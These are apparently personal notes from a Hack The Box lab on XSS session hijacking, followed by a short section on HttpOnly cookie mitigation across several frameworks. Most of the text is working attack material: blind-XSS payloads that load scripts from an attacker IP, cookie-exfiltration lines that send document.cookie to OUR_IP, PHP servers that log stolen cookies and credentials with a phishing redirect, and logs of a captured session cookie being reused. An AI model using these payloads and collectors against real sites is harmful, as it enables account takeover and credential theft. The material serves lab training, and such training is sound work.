XSS SESSION HIJACKING (AKA COOKIE STEALING)

this is an attack where a malicious user obtains the cookie data from the victim's browser to gain logged-in access with the victim's user without knowing their credentials. this type of attack is possible due to browser's utilization of cookies to maintain a user's session throughout different browsing sessions. cookies enables the user to only log in once and keep their logged-in session alive even if they visit the same website at another time or date. IOF this attack to be successful, the following requirements must be met

  • Session cookies should be carried in all HTTP requests

  • Session cookies should be accessible by JavaScript code (the HTTPOnly attribute should be missing)

VIEWING COOKIES

root@oco:~$ BROWSER > {targetSite:port}
 input field: <script>alert(document.cookie)</script>
 * user_id=xyz789; last_visit=2024-10-15T12:34:56Z

DOWNLOAD BROWSER COOKIES AS A FILE (BROWSER-BASED)

root@oco:~$ nano cookieScipt
  <script>
    const cookies = document.cookie;
    const blob = new Blob([cookies], { type: 'text/plain' });
    const link = document.createElement('a');
    link.href = URL.createObjectURL(blob);
    link.download = 'cookies.txt';
    link.click();
  </script>
root@oco:~$ BROWSER > https://www.toptal.com/developers/javascript-minifier
 * ALT: BROWSER > chatGPT.com > "minify the given code"
    - <script>const cookies=document.cookie,blob=new Blob([cookies],{type:"text/plain"}),link=document.createElement("a");link.href=URL.createObjectURL(blob),link.download="cookies.txt",link.click();</script>
root@oco:~$ BROWSER > {targetSite:port}
 input field: <script>const cookies=document.cookie,blob=new Blob([cookies],{type:"text/plain"}),link=document.createElement("a");link.href=URL.createObjectURL(blob),link.download="cookies.txt",link.click();</script> 

SERVER SETUP

root@oco:~$ mkdir -p /tmp/tmpserver
root@oco:~$ cd /tmp/tmpserver
root@oco:~$ nano /tmp/tmpserver/index.php #at this step we wrote our index.php file
 <?php
   if (isset($_GET['username']) && isset($_GET['password'])) {
     $file = fopen("creds.txt", "a+");
     fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
     header("Location: http://10.10.15.203:8080/phishing/index.php");
     fclose($file);
     exit();
   }
 ?>
root@oco:~$ sudo php -S 0.0.0.0:8080
 PHP 7.4.15 Development Server (http://0.0.0.0:8080) started

PERFORMING A BLIND XSS DISCOVERY

#XSS payloads used for blind discovery

#method 1: didn't work
root@oco:~$ BROWSER > {targetSite:port}
 input field1: <script src=http://10.10.15.203:8080>fullname</script>
 input field2: <script src=http://10.10.15.203:8080>username</script>
 input field3: <script src=http://10.10.15.203:8080>picURL</script>
 Register...
 * the working xss payload with the field name that calls the attacking server
   will represent the vulnerable field
   
#method 2: didn't work
root@oco:~$ BROWSER > {targetSite:port}
 input field1: '><script src=http://10.10.15.203:8080>fullname</script>
 input field2: '><script src=http://10.10.15.203:8080>username</script>
 input field3: '><script src=http://10.10.15.203:8080>picURL</script>
 
#method 3: worked
root@oco:~$ BROWSER > {targetSite:port}
 input field1: "><script src=http://10.10.15.203:8080>fullname</script>
 input field2: "><script src=http://10.10.15.203:8080>username</script>
 input field3: "><script src=http://10.10.15.203:8080>picURL</script> //this is the vulnerable field
 [Tue Nov  5 17:45:18 2024] PHP 8.2.24 Development Server (http://0.0.0.0:8080) started
 [Tue Nov  5 17:58:03 2024] 10.129.165.12:33472 Accepted
 [Tue Nov  5 17:58:03 2024] 10.129.165.12:33472 [200]: GET /
 [Tue Nov  5 17:58:03 2024] 10.129.165.12:33472 Closing
 
#other xss payloads NOT tested
 input field: javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
 input field: <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
 input field: <script>$.getScript("http://OUR_IP")</script>
 
 * the script name should reflect the name of the field you are injecting in to easily 
   identify the vulnerable input field that executed the script
   
 * the password field are usually hashed and not usually shown in cleartext, so it
   can be skipped in testing
#javascript cookie stealing payloads
#https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#exploit-code-or-poc
  - document.location='http://OUR_IP/index.php?c='+document.cookie;
  - new Image().src='http://OUR_IP/index.php?c='+document.cookie;
     - the second payload 'new Image()... is preferred as it simply adds an image to the page, which may not be very malicious looking

#server setup
root@oco:~$ mkdir -p /tmp/tmpserver
root@oco:~$ cd /tmp/tmpserver
root@oco:~$ nano /tmp/tmpserver/index.php #at this step we wrote our index.php file 
 <?php
   if (isset($_GET['c'])) {
     $list = explode(";", $_GET['c']);
     foreach ($list as $key => $value) {
       $cookie = urldecode($value);
       $file = fopen("cookies.txt", "a+");
       fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
       fclose($file);
     }
   }
 ?>
 
root@oco:~$ sudo php -S 0.0.0.0:8080
 PHP 7.4.15 Development Server (http://0.0.0.0:8080) started
 
#payload setup
root@oco:~$ sudo nano script.js
 new Image().src='http://10.10.15.203:8080/index.php?c='+document.cookie;
root@oco:~$ ls
 index.php  script.js

#exploit
root@oco~:$ BROWSER > {targetSite:port}
 input field1: fullname
 input field2: username
 input field3: password
 input field4: [email protected]
 input field5: "><script src=http://10.10.15.203:8080/script.js></script>
 register...
 
 [Tue Nov  5 19:05:59 2024] 10.129.26.73:50132 [200]: GET /script.js
 [Tue Nov  5 19:05:59 2024] 10.129.26.73:50132 Closing
 [Tue Nov  5 19:05:59 2024] 10.129.26.73:50134 Accepted
 [Tue Nov  5 19:05:59 2024] 10.129.26.73:50134 [200]: GET /index.php?c=cookie=c00k1355h0u1d8353cu23d
 [Tue Nov  5 19:05:59 2024] 10.129.26.73:50134 Closing
 
root@oco:~$ cat cookies.txt
 Victim IP: 10.129.26.73 | Cookie: cookie=c00k1355h0u1d8353cu23d
 * the name part is "cookie"
 * the value part is "c00k1355h0u1d8353cu23d"
root@oco:~$ BROWSER > {targetSite:port}/hijacking/login.php > F12 > Storage > +
 name: cookie
 value: 
 * once the cookie is set, refresh the page and you'll get access as the victim's
   session on the targetSite
    - HTB{4lw4y5_53cur3_y0ur_c00k135}
    
 * when the victim visits the vulnerable page and view our XSS payload, the attacker
   will get two requests on the server, one for script.js, which in turn will 
   make another request with the cookie value

MITIGATION

HttpOnly is a flag that can be set on a cookie to indicate that the cookie should not be accessible via JavaScript. This helps protect the cookie from being stolen through cross-site scripting (XSS) attacks. When a cookie is set with the HttpOnly flag, it can only be sent and received via HTTP(S) requests (such as those made by the browser to the server). JavaScript running in the browser cannot read, modify, or delete that cookie using "document.cookie". This adds a layer of security to prevent malicious scripts from accessing sensitive data stored in cookies, like session IDs.

IMPLEMENTATION

the general syntax is:

Set-Cookie: sessionId=12345; HttpOnly; Secure; SameSite=Strict

NODE.JS (EXPRESS)

app.get('/set-cookie', (req, res) => {
  res.cookie('sessionId', '12345', { httpOnly: true, secure: true, sameSite: 'Strict' });
  res.send('Cookie has been set!');
});

 * HttpOnly: Restricts JavaScript access to the cookie.
   Secure: Ensures the cookie is only sent over HTTPS.
   SameSite=Strict: Restricts sending the cookie in cross-site requests.

PHP

setcookie('sessionId', '12345', time() + 3600, '/', '', true, true); // true for Secure and HttpOnly

PHYTHON (FLASK)

from flask import Flask, make_response

app = Flask(__name__)

@app.route('/set-cookie')
def set_cookie():
    resp = make_response('Cookie has been set!')
    resp.set_cookie('sessionId', '12345', httponly=True, secure=True, samesite='Strict')
    return resp

JAVA (SPRING BOOT)

import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;

@RequestMapping("/set-cookie")
public void setCookie(HttpServletResponse response) {
    Cookie cookie = new Cookie("sessionId", "12345");
    cookie.setHttpOnly(true);  // Set HttpOnly flag
    cookie.setSecure(true);    // Set Secure flag (only sent over HTTPS)
    cookie.setPath("/");       // Path for which the cookie is valid
    cookie.setMaxAge(3600);    // Cookie expiry time in seconds
    cookie.setDomain("example.com"); // Optional, to set the domain
    response.addCookie(cookie);
}

NGINX

add_header Set-Cookie "sessionId=12345; HttpOnly; Secure; SameSite=Strict" always;

ASP.NET

public IActionResult SetCookie()
{
    var cookieOptions = new CookieOptions
    {
        HttpOnly = true,
        Secure = true,
        SameSite = SameSiteMode.Strict
    };

    Response.Cookies.Append("sessionId", "12345", cookieOptions);
    return Content("Cookie has been set!");
}

Last updated